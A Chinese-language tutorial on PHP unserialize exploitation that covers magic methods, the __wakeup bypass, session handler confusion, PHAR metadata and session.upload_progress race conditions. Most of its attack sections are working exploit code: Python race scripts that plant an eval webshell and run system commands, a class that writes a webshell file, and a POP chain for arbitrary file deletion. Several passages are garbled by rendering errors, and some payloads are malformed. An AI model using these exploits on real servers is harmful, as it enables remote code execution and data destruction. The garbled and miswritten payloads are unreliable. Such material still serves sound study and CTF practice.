一、基础知识
1、序列化
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,序列化的目的是方便数据的传输和存储。在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
常见的序列化格式:
- 二进制格式
- 字节数组
- json字符串
- xml字符串
比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
序列化后字符串意义解释:
变量类型:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}
序列化对象:
private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为:\x00*\x00变量名
public变量会被序列化为:变量名
2、反序列化
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
二、漏洞利用
1、魔术方法
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
__get()用于从不可访问的属性读取数据
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
其他魔术方法
<?php
class Test{
public function __construct(){
echo 'construct run';
}
public function __destruct(){
echo 'destruct run';
}
public function __toString(){
echo 'toString run';
return 'str';
}
public function __sleep(){
echo 'sleep run';
return array();
}
public function __wakeup(){
echo 'wakeup run';
}
}
echo '<br>new了一个对象,对象被创建,执行__construct</br>';
$test = new Test();
echo '<br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化</br>';
$sTest = serialize($test);
echo '<br>__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。</br>';
$usTest = unserialize($sTest);
echo '<br>把Test对象当做字符串使用,执行__toString</br>';
$string = 'use Test obj as str '.$test;
echo '<br>程序执行完毕,对象自动销毁,执行__destruct</br>';
?>
2、利用方式
强调几个注意点:
1.不要为了方便直接修改序列化字符串,因为可能导致字符串长度和实际字符串长度不一致,进而导致无法正确反序列化
建议将类拷贝下来,用序列化函数生成
2.一些进一步渗透的思路:
- 尝试是否可以写入shell
- 尝试读取当前目录下的有哪些文件
- 尝试读取所有文件的源码
import requests
import threading
url = "http://web.jarvisoj.com:32784/phpinfo.php"
headers = {
"Cookie": "PHPSESSID=icancontrolit"
}
files = {
"myfile": ("file.jpg", open("class.php", "rb")),
}
payload = '|O:5:"OowoO":1:{s:4:"mdzz";s:14:"var_dump(123);";}'
# payload ="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
# payload ="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}"
data = {
"PHP_SESSION_UPLOAD_PROGRESS":payload,
}
resp = requests.post(url=url, files=files, headers=headers, data=data)
# print(resp.text)
url = "http://web.jarvisoj.com:32784"
resp = requests.get(url,headers=headers);
print(resp.text)
2.1、__wakeup( )绕过
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本:
- PHP before 5.6.25
- 7.x before 7.0.10
如果使用正常的方法构造payload
url?text=0:1:"A":1:{s:6:"taget";s:18:"<?php phpinfo();?>";}
__wakeup( )把$taget重置成wakeup!
令属性个数的值大于1
url?text=0:1:"A":2:{s:6:"taget";s:18:"<?php phpinfo();?>";}
成功执行 phpinfo()
2.2、注入对象构造方法
当目标对象被private、protected修饰时的构造方法。
当目标被private修饰时,序列化结果:
0:1:"A":2:{s:9:"%00A%00taget";s:12:"w2t3rp2dd13r";}
当目标被protected修饰时,序列化结果:
0:1:"A":2:{s:9:"%00*%00taget";s:12:"w2t3rp2dd13r";}
注意:%00
%00A%00长度3
同名方法的利用
<?php
class A{
var $target;
function _construct(){
$this->target=new B;
}
function _destruct(){
$this->target->action();
}
}
class B{
var $test;
function action(){
echo "action A";
}
}
class C{
var $test;
function action(){
echo "action C";
eval($this->test);
}
}
$user_data = unserialize($_GET['data']);
echo $user_data;
?>
这个例子中,class B和class C有一个同名方法action,我们可以构造目标对象,使得析构函数调用class C的action方法,实现任意代码执行。
构造代码:
<?php
class A{
var $target;
function _construct(){
$this->target=new C;
$this->target->test="phpinfo();";
}
function _destruct(){
$this->target->action();
}
}
class C{
var $test;
function action(){
echo "action A";
eval($this->test);
}
}
echo serialize(new A);
?>
输出:
0:1:"A":1:{s:6:"taget";0:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}
2.3、Session反序列化漏洞
Session反序列化漏洞
PHP中的Session经序列化后存储,读取时再进行反序列化。
相关配置:
session.save_path=“” //设置session的存储路径
session.save_handler=“” //设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen //指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string//定义用来序列化/反序列化的处理器名字。默认使用php
PHP中有三种序列化处理器,如下表所示:
serializer | 实现方法 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize | 把整个$_SESSION 数组作为一个数组序列化 |
不同处理器的格式不同,当不同页面使用了不同的处理器时,由于处理的Session序列化格式不同,就可能产生反序列化漏洞。
下面演示漏洞利用:
<?php
//demo1.php
ini_set("session.serialize_handler","php");
session_start();
class demo3{
var $test='test';
function _wakeup(){
echo "wakeup";
}
function _destruct(){
echo $this->test;
}
}
?>
该页面中有类demo3,开启session,并用php处理器处理session。
<?php
//session.php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['test']=$_GET["test"];
echo session_id();
?>
<?php
//generate.php
class demo3{
var $test="w2t3rp2dd13r";
}
echo serialize(new demo3);
?>
通过session.php设置session,通过generate.php构造实例。
由于session.php与demo3.php采用的序列化处理器不同,我们可以构造“误导”处理器,达到漏洞利用的目的。
实例构造:
0:1:"demo3":1:{s:9:"test";s:12:"w2t3rp2dd13r";}
在serialize()的结果前加|,当使用php处理器时会把|后的内容反序列化,从而调用demo3.php中的_wakeup()方法和_destruct()。
payload:|0:1:"demo3":1:{s:9:"test";s:12:"w2t3rp2dd13r";}
extract,字符逃逸 session反序列化的另类
字符逃逸:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。
extract的覆盖数组的操作比如能够覆盖SESSION这个全局数组!
extract($_POST);
我们post值,POC:_SESSION[flag]=122
。这个为什么没有
但是
有
呢
??就是
p
o
s
t
传参么。
n
a
m
e
=
a
d
a
m
。完事后就是
但是有 _ 呢??就是post传参么。 name=adam。完事后就是
但是有呢??就是post传参么。name=adam。完事后就是name=‘adam’ 。这样,所以那个传参就是这个样子了。
如果有filter,可以考虑字符逃逸 :
filter过滤'php','flag','php5','php4','fl1g'
"a:2:{s:7:"phpflag";s:44:";s:4:"fake";s:3:"img";s:10:"d0g3_f1ag.php";}"
过滤后
"a:2:{s:7:"";s:44:";s:4:"fake";s:3:"img";s:10:"d0g3_f1ag.";}";s:5:"la ji";}“
s:7:"";s:44:";s:4:"fake";即键名叫";s:44: 对应的值为一个字符串"fake"
参考:https://www.freebuf.com/articles/web/285985.html
2.4、PHAR利用
2.4.1、PHAR简介
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。
2.4.2、PHAR文件结构
PHAR文件由3或4个部分组成:
(1)stub //PHAR文件头
stub就是一个简单的php文件,最简文件头为:
<?php __HALT_COMPILER( );?>是可有可无的,若使用?>,则;与?>间至多一个空格。文件头中必须包含__HALT_COMPILER();除此之外没有限制。(PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测)
(2)manifest describing the contents //PHAR文件描述该部分存储文件名、文件大小等信息,如下图所示。
图中标出的地方,存储了经serialize( )的Meta-data,有序列化过程必有反序列化过程,这就是我们的注入点。
(3)the file contents
PHAR文件内容
(4)[optional] a signature for verifying Phar integrity (phar file format only) //可选的签名部分,支持MD5和SHA1
2.4.3、攻击方法
PHAR文件的Meta-data可以是任何能够序列化的PHP对象,当PHAR文件被任何文件系统函数首次通过phar://协议解析时Meta-data部分会被反序列化,这个反序列化过程就是我们的攻击点,Meta-data部分填充payload。
利用前提:按理说,攻击者要能够向服务器上传一个phar文件,但其实可以将phar文件的后缀直接修改为jpg(phar://仍然可以正常反序列化),所以只需要一个文件上传功能即可。
其次,目标站点需要有文件包含漏洞,并且有漏洞的脚本必须包含一个我们可以利用的类
如果是include() fopen(), file_get_contents(), file() 等这类的文件包含漏洞,如果攻击者可以完全控制文件路径的话,显然存在高危漏洞,彰显不出phar://的意义
phar://意义在于,所有和文件操作相关的函数,如果传入phar://内容为phar格式的文件,都会触发反序列化
包括一系列看似安全的函数,例如:
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);
漏洞利用条件:
在目标系统上投放一个装在payload的可访问的PHAR文件,通过文件系统函数利用phar://伪协议解析目标PHAR文件。
下面演示利用过程:
先创建一个PHAR文件。
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
<?php
class TestObject{
}
$phar=new Phar("phar.phar");//后缀名必须是phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
$o=new TestObject();
$o->date='hu3sky';
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问phar.php,在同目录下生成phar.phar文件。
箭头标出Meta-data部分,可以看到为序列化后结果。
示例
<?php
class AnyClass {
function __destruct() {
echo $this->data;
}
}
file_exists($_GET['file']);
利用:
?file=phar://test.jpg
由于PHP仅通过stub部分判断文件是否为PHAR文件,我们可以通过添加文件头、修改后缀的方式绕过上传检测。
示例代码:
<?php
class TestObject{
}
@unlink("phar.phar");
$phar=new Phar("phar.phar");//后缀名必须是phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$o=new TestObject();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
2.5、利用session.upload_progress进行文件包含和反序列化渗透
php中的session.upload_progress
session.upload_progress这个功能在php5.4添加的
在php.ini有以下几个默认选项
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
其实这里,我们只需要了解前四个配置选项即可,嘿嘿嘿,下面依次讲解。
enabled=on
表示upload_progress
功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on
表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
name
当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
prefix+name
将表示为session中的键名
session相关配置及session反序列化
session.use_strict_mode=off
这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到。
利用session.upload_progress进行文件包含利用
测试环境
php5.5.38
win10
关于session相关的一切配置都是默认值
示例代码
<?php
$b=$_GET['file'];
include "$b";
?>
可以发现,存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件。其实,我们可以利用session.upload_progress
将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。
问题一
代码里没有session_start()
,如何创建session文件呢。
解答一
其实,如果session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
问题二
但是问题来了,默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,
如何进行rce呢?
解答二
此时我们可以利用竞争,在session文件内容清空前进行包含利用。
利用脚本
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
flag=1
def write(session):
while True:
if flag==0:
break
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://192.168.220.146/session.upload_progress/include.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://192.168.220.146/session.upload_progress/include.php?file=../../tmp/tmp/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
flag=0
break
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
效果如下图
利用条件
存在文件包含漏洞
知道session文件存放路径,可以尝试默认路径
具有读取和写入session文件的权限
利用session.upload_progress进行反序列化攻击
测试环境
php5.5.38
win10
session.serialize_handler=php_serialize
,其余session相关配置为默认值
示例代码
<?php
error_reporting(0);
date_default_timezone_set("Asia/Shanghai");
ini_set('session.serialize_handler','php');
session_start();
class Door{
public $handle;
function __construct() {
$this->handle=new TimeNow();
}
function __destruct() {
$this->handle->action();
}
}
class TimeNow {
function action() {
echo "你的访问时间:"." ".date('Y-m-d H:i:s',time());
}
}
class IP{
public $ip;
function __construct() {
$this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
}
function action() {
eval($this->ip);
}
}
?>
问题一
整个代码没有参数可控的地方。通过什么方法来进行反序列化利用呢
解答一
这里,利用PHP_SESSION_UPLOAD_PROGRESS
上传文件,其中利用文件名可控,从而构造恶意序列化语句并写入session文件。
另外,与文件包含利用一样,也需要进行竞争。
利用脚本
首先利用exp.php脚本构造恶意序列化语句
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class Door{
public $handle;
function __construct() {
$this->handle = new IP();
}
function __destruct() {
$this->handle->action();
}
}
class TimeNow {
function action() {
echo "你的访问时间:"." ".date('Y-m-d H:i:s',time());
}
}
class IP{
public $ip;
function __construct() {
//$this->ip='payload';
$this->ip='phpinfo();';
//$this->ip='print_r(scandir('/'));';
}
function action() {
eval($this->ip);
}
}
$a=new Door();
$b=serialize($a);
$c=addslashes($b);
$d=str_replace("O:4:","|O:4:",$c);
echo $d;
?>
其此利用exp.py脚本进行竞争
import requests
import threading
import io
def exp(url):
f = io.BytesIO(b'a' * 1024 * 1024 * 1)
while True:
et.wait()
url = url
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'DNT': '1',
'Cookie': 'PHPSESSID=20190506',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
proxy = {
'http': '127.0.0.1:8080'
}
data = {'PHP_SESSION_UPLOAD_PROGRESS': '123'}
files = {
'file': (
r'|O:4:\"Door\":1:{s:6:\"handle\";O:2:\"IP\":1:{s:2:\"ip\";s:10:\"phpinfo();\";}}', f, 'text/plain')
}
resp = requests.post(url, headers=headers, data=data, files=files) # ,proxies=proxy
resp.encoding = "utf-8"
if len(resp.text) < 2000:
print('[+++++]retry')
else:
print(resp.content.decode('utf-8').encode('utf-8'))
et.clear()
print('success!')
if __name__ == "__main__":
url = "http://192.168.220.135/session.upload_progress/serialize.php"
et = threading.Event()
for i in range(1, 40):
threading.Thread(target=exp, args=(url,)).start()
et.set()
首先在代码里加个代理,利用burp抓包
这里有几个注意点:
PHPSESSID必须要有,因为要竞争同一个文件
filename可控,但是在值的最前面加上
|
,因为最终目的是利用session的反序列化,PHP_SESSION_UPLOAD_PROGRESS
只是个跳板。其次把字符串中的双引号转义,以防止与最外层的双引号冲突上传的文件要大些,否则很难竞争成功。我写入是这么大
f = io.BytesIO(b'a' * 1024 *1024*1)
filename值中出现汉字时,会出错,所以在利用脚本前,一定要修改python源码
最后把exp.py
中的代理去掉,直接跑exp.py
,效果如下。
几次失败尝试
利用条件主要是存在session反序列化漏洞。
从文件包含和反序列化两个利用点,可以发现,利用PHP_SESSION_UPLOAD_PROGRESS
可以绕过大部分过滤,而且传输的数据也不易发现。
2.6、POP CHAIN(POP链):
通过用户可控的反序列化操作,其中可触发的魔术方法为出发点,在魔术方法中的函数在其他类中存在同名函数,或通过传递,关联等可以调用的其他执行敏感操作的函数,然后传递参数执行敏感操作,即
用户可控反序列化→魔术方法→魔术方法中调用的其他函数→同名函数或通过传递可调用的函数→敏感操作
实例解析1:
源码:
<?php
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test3;
}
function __toString(){
if (isset($this->obj)) return $this->obj->Delete();
}
}
class Test2{
public $cache_file;
function Delete(){
$file = “/var/www/html/cache/tmp/{$this->cache_file}”;
if (file_exists($file)){
@unlink($file);
}
return 'I am a evil Delete function';
}
}
class Test3{
function Delete(){
return 'I am a safe Delete function';
}
}
$user_data = unserialize($_GET['data']);
echo $user_data;
?>
POP链构造:
首先出发点是Test1中的__tostring()魔术方法,其中调用了 t h i s − > o b j 中的 D e l e t e ( ) 函数,而 this->obj中的Delete()函数,而 this−>obj中的Delete()函数,而this->obj是在实例化对象是触发__construct方法,将$this->obj作为实例化Test3类的对象,那么此时调用的就是Test3类中的Delete()函数,只返回一句提示,那么此时的执行流如下
Test1类→__construct()→$this->obj=new Test3→__tostring()→Test3.Delete方法
不过在Test2类中也定义了和Test3中同名的函数Delete(),那么我们可以通过构造特定的反序列化参数来修改执行流,也就是构造我们的POP链,在反序列化后使用Test2类中的Delete()来执行敏感操作,让执行流如下
Test1类→__construct()→$this->obj=new Test2→__tostring()→Test2.Delete方法
那么POP链的构造就是通过反序列化和echo来触发__tostring()魔术方法,并且此方法中调用Test2中的Delete()方法,造成任意文件删除的危害。
利用POC:
<?php
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test2;
}
}
class Test2{
public $cache_file = '../../../../test.php';
}
$evil = new Test1();
echo urlencode(serialize($evil));
?>
实例解析2:
源码:
Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
POP链构造:
由于本题是一道CTF题目,我们的目标是获得flag,提示flag在flag.php里,通过对三个类的代码分析,可以读取到flag的地方只有append( v a l u e ) 方法,操作是 i n c l u d e ( value)方法,操作是include( value)方法,操作是include(value),可以利用伪协议来读取flag.php内容。
由于这道题目只有include那里可以利用,那么我们从那里反推
一.要想利用include,需要使用__invoke()来触发,而这个魔术方法的触发条件是,以调用函数的方式调用一个对象,那么我们找哪里可以满足这个条件。
二.在对Test类代码分析的第三条中,__get()魔术方法以 f u n c i o n ( ) 函数返回 funcion()函数返回 funcion()函数返回this->p,**我们需要将 t h i s − > p 设置为 M o d i f i e r 的实例化对象 ∗ ∗ ,那么而且上面对 this->p设置为Modifier的实例化对象**,那么而且上面对 this−>p设置为Modifier的实例化对象∗∗,那么而且上面对this->p赋值的操作是__construct()控制,也就是说是我们可控的,那么就看如何利用__get()
三.要想利用Test类中的__get()魔术方法,也需要我们用一定的条件触发,从不可访问的属性读取数据时触发,那么符合的只有Show类中的__toString(),需要将$this->str设置为Test类的实例化对象
四.触发__toString()的条件是:__toString() 当一个类被当成字符串使用时触发,那么在本类中的__wakeup()魔术方法中的preg_match就正好可以触发,也就是将KaTeX parse error: Expected group after '_' at position 33: …ow类的实例化对象,也就需要在_̲_construct()时就设…file为Show的实例化对象
那么整体的pop链应该是如下的
Modifier::__invoke()<--Test::__get()<--Show::__toString()<--Show::__wakeup()<--Show::__construct()
利用POC:
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
}
$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>
三、杂项
1、木马
class.php
<?php
class Peiqi{
public $meat ="233";
function __wakeup(){
echo "I am wakeup";
$payload = '<?php eval($_GET[1]);?>';
$ret = file_put_contents("ma.php",$payload);
if($ret){
echo "木马写入成功!";
}else{
echo "木马写入失败";
}
}
function __destruct(){
echo $this->meat;
}
}
生成payload
<?php
require 'class.php';
$p = new Peiqi();
$p->meat ="12333213";
$payload = serialize($p);
echo $payload."\n";
发送payload
<?php
//发送get请求,并接受响应,如果响应中包含cookie就存储下来,随后发送请求时,带上之前收到的cookie
function get($url){
$cookie_file = "cookie.txt";
$ch = curl_init($url); //初始化
curl_setopt($ch, CURLOPT_HEADER, 0); //不返回header部分
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //返回字符串,而非直接输出
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); //使用上面获取的cookies
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file); //存储cookies
$resp = curl_exec($ch);
curl_close($ch);
return $resp;
}
$payload = '|O:5:"Peiqi":1:{s:4:"meat";s:8:"12333213";}';
$base_url = "http://127.0.0.1:8888/loophole-recurrence/Serialize/";
//用php_searialzie 存储session
$save_url = $base_url."session_phpserialize.php?u=".$payload;
$resp = get($save_url);
var_dump($resp);
//用php 访问上次存储的session
$read_url = $base_url."session_php.php";
$resp = get($read_url);
var_dump($resp);
2、靶场源码
//flag in ./flag.php
<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__;
echo $s;
exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
</head>
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
payload:
<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = "flag.php";
$s = [$s];
echo serialize($s);
}
//a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//MD5加密
//E2D4F7DCC43EE1DB7F69E76303D0105Ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//url加密
//E2D4F7DCC43EE1DB7F69E76303D0105Ca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d
?>
3、查看当前目录
查看当前目录文件
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
查看当前目录
session反序列化
当一个上传在处理中,同时
POST
一个与INI
中设置的session.upload_progress.name
同名变量时,当PHP
检测到这种POST
请求时,它会在$_SESSION
中添加一组数据,索引是session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。所以可以通过
Session Upload Progress
来设置session
我们在html网页源码上加入以下代码
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
抓包上传,将filename
改成我们的payload(要INI
中设置的session.upload_progress.name
同名变量)
参考链接:https://www.freebuf.com/articles/network/197496.html
https://www.freebuf.com/vuls/202819.html